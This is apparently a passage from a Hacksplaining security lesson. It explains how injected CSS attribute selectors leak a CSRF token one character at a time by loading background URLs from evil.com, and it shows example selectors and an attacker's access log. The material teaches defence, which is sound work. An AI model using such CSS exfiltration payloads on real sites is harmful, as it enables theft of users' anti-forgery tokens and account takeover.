Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

The hacker then dynamically updates the malicious CSS to target the second character. Selectors in this new payload cover all possible two-character combinations starting with the already determined character.

Probing the second character
CSS 
input[name='csrf-token'][value^='9i'] {
  background: url(https://evil.com/steal?token=9i);
}

input[name='csrf-token'][value^='9j'] {
  background: url(https://evil.com/steal?token=9j);
}

input[name='csrf-token'][value^='9k'] {
  background: url(https://evil.com/steal?token=9k);
}
Malicious Server Logs
Access log 
HTTP GET https://evil.com/steal?token=9